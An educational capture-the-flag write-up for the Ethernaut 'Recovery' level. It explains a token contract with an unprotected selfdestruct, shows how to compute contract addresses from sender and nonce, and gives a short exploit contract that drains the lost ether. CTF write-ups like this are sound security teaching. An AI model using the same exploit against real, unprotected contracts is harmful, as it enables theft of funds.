Writeup for Recovery
- Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. Each challenge involves deploying a contract and exploiting its vulnerabilities. If you’re new to Solidity and haven’t deployed a smart contract before, you can learn how to do so using Remix here.
Challenge Description
In this challenge, a contract creator has built a simple token factory contract. Creating new tokens is a breeze. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. Unfortunately, they have lost the contract address.
To complete this level, your task is to recover (or remove) the 0.001 ether from the lost contract address.
Contract Explanation
Before diving into the exploit part, it’s essential to understand the contract. If you’re new to Solidity, reading the Contract Explanation will provide you with a better grasp of the language.
Click to view source contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract Recovery {
5 //generate tokens
6 function generateToken(string memory _name, uint256 _initialSupply) public {
7 new SimpleToken(_name, msg.sender, _initialSupply);
8 }
9}
10
11contract SimpleToken {
12 string public name;
13 mapping(address => uint256) public balances;
14
15 // constructor
16 constructor(string memory _name, address _creator, uint256 _initialSupply) {
17 name = _name;
18 balances[_creator] = _initialSupply;
19 }
20
21 // collect ether in return for tokens
22 receive() external payable {
23 balances[msg.sender] = msg.value * 10;
24 }
25
26 // allow transfers of tokens
27 function transfer(address _to, uint256 _amount) public {
28 require(balances[msg.sender] >= _amount);
29 balances[msg.sender] -= _amount;
30 balances[_to] += _amount;
31 }
32
33 // clean up after ourselves
34 function destroy(address payable _to) public {
35 selfdestruct(_to);
36 }
37}
This challenge consists of two contracts: Recovery
and SimpleToken
. Let’s start with the Recovery
contract. It has a single function:
1function generateToken(string memory _name, uint256 _initialSupply) public {
2 new SimpleToken(_name, msg.sender, _initialSupply);
3}
This function creates a new instance of the SimpleToken
contract by taking two arguments: a string _name
and a uint256 _initialSupply
.
Now, let’s move on to the SimpleToken
contract.
The SimpleToken
contract has two state variables: name
(a string) and balances
(a mapping of addresses to uint256).
The constructor of SimpleToken
takes three arguments: _name
(a string), _creator
(an address), and _initialSupply
(a uint256). It sets the name
state variable to the provided _name
and assigns the _initialSupply
to the balances
mapping for the _creator
address.
1receive() external payable {
2 balances[msg.sender] = msg.value * 10;
3}
The receive()
function is a built-in function in Solidity. It is invoked when someone interacts with the contract without calling any specific function or with data that doesn’t match any function selector. In this case, when someone sends ether to the contract without calling any function, the receive()
function is triggered. It sets the balance of the msg.sender
(the caller) to the value of the sent ether multiplied by 10.
1function transfer(address _to, uint256 _amount) public {
2 require(balances[msg.sender] >= _amount);
3 balances[msg.sender] -= _amount;
4 balances[_to] += _amount;
5}
The transfer()
function allows the transfer of tokens. It takes two arguments: _to
(the address to transfer the tokens to) and _amount
(the amount of tokens to transfer). Before executing the transfer, it checks if the caller has a sufficient balance. If the balance is enough, it deducts the _amount
from the caller’s balance and adds it to the _to
address.
1function destroy(address payable _to) public {
2 selfdestruct(_to);
3}
The destroy()
function takes an address _to
as an argument and calls the selfdestruct()
function with _to
as the argument. To understand how selfdestruct()
works, refer to the concepts section.
Key Concepts To Learn
The main concept to focus on in this challenge is the usage of selfdestruct()
. Additionally, you can explore RLP encoding if you’re interested.
selfdestruct()
is a built-in function in Solidity. When called, it is supposed to delete the contract bytecode from the Ethereum network and send the contract’s balance to the specified address.
However, due to the implementation of EIP-6780 in the Dencun upgrade on March 13, 2024, the behavior of selfdestruct
has changed. It now only sends the contract’s ether balance to the specified address but does not delete the contract bytecode from the Ethereum network.
Deleting the contract bytecode is still possible after the update, but only if selfdestruct
is called in the same transaction in which the contract is created.
The address of an Ethereum contract is determined by the creator’s address (sender) and the number of transactions the creator has sent (nonce). The sender and nonce are RLP-encoded
and then hashed with Keccak-256
.
1import rlp #python -m pip install rlp
2from sha3 import keccak_256
3
4def get_Contract_Address(sender,nonce):
5 contract_address = keccak_256(rlp.encode([sender, nonce])).hexdigest()[-40:]
6 return contract_address
7
8
9sender_address=input("Enter the sender (contract creator) address :")
10nonce=int(input("Enter the Nonce :"))
11sender=sender_address[2:]
12sender=bytes.fromhex(sender)
13print(get_Contract_Address(sender,nonce))
Enter the following in the terminal to download rlp
module.
1$ python -m pip install rlp
Enter the address of the Externally Owned Account and enter the nonce of the externally owned account. Whenever you deploy a contract using your wallet or interact with a function that makes state changes for every transaction, the nonce will be increased. You can find your nonce in your wallet or Block Explorer.
Exploit
Enter ctrl + shift + j
and open the console, then enter the following:
1> contract.abi
When we enter this, we can find that our instance has only one function named generateToken()
. By this, we can say that they have given us the instance of the Recovery
contract.
Now our task is to find the address of the SimpleToken
contract and call the destroy()
function. We can find the address of SimpleToken in two ways. One way is using the block explorer, and another way is calculating the address of SimpleToken with the help of the Recovery
contract address and the nonce of the Recovery
contract address. First, I will explain how you can find the address using the block explorer.
Click here to open the block explorer. When you click the link, you can find it as shown in the image below:
In the search bar, search for the address of the Recovery
(instance) contract. When you search, you will find it as shown below:
You can’t find any transactions because no one has invoked any function in this contract. Now click on internal transactions. Once you click, you will find it as shown below:
Now you can find two contract creations. The one at the bottom is the contract creation of this contract, and the one at the top is this contract creating another contract. This (Recovery
) contract created the SimpleToken
contract. So the top one is the address of the SimpleToken
contract. Click on the contract creation of the top one. Once you click, you will find it as shown below:
This is the address of the SimpleToken
contract. SimpleToken
contract has a balance of 0.01 ether. Since we got the address of the SimpleToken
, we can call the destroy()
function now.
1
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5interface Itoken{
6 function destroy(address paayble) external;
7}
8
9contract ExploitSimpleToken{
10
11 Itoken simpleToken;
12 constructor(address _addr){
13 simpleToken=Itoken(_addr);
14 }
15
16 function Exploit()public{
17 simpleToken.destroy(msg.sender);
18 }
19
20}
Deploy this contract, and during deployment, pass the address of SimpleToken
to the constructor of the ExploitSimpleToken
contract. Then call the Exploit()
function. Once the transaction is complete, the challenge will be solved.
Key Takeaways
The Ethereum contract address is generated in a deterministic manner using the creator’s address (sender) and the number of transactions they have sent (nonce). To compute the address, the sender and nonce are encoded using RLP (Recursive Length Prefix) and then hashed with the Keccak-256 algorithm.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments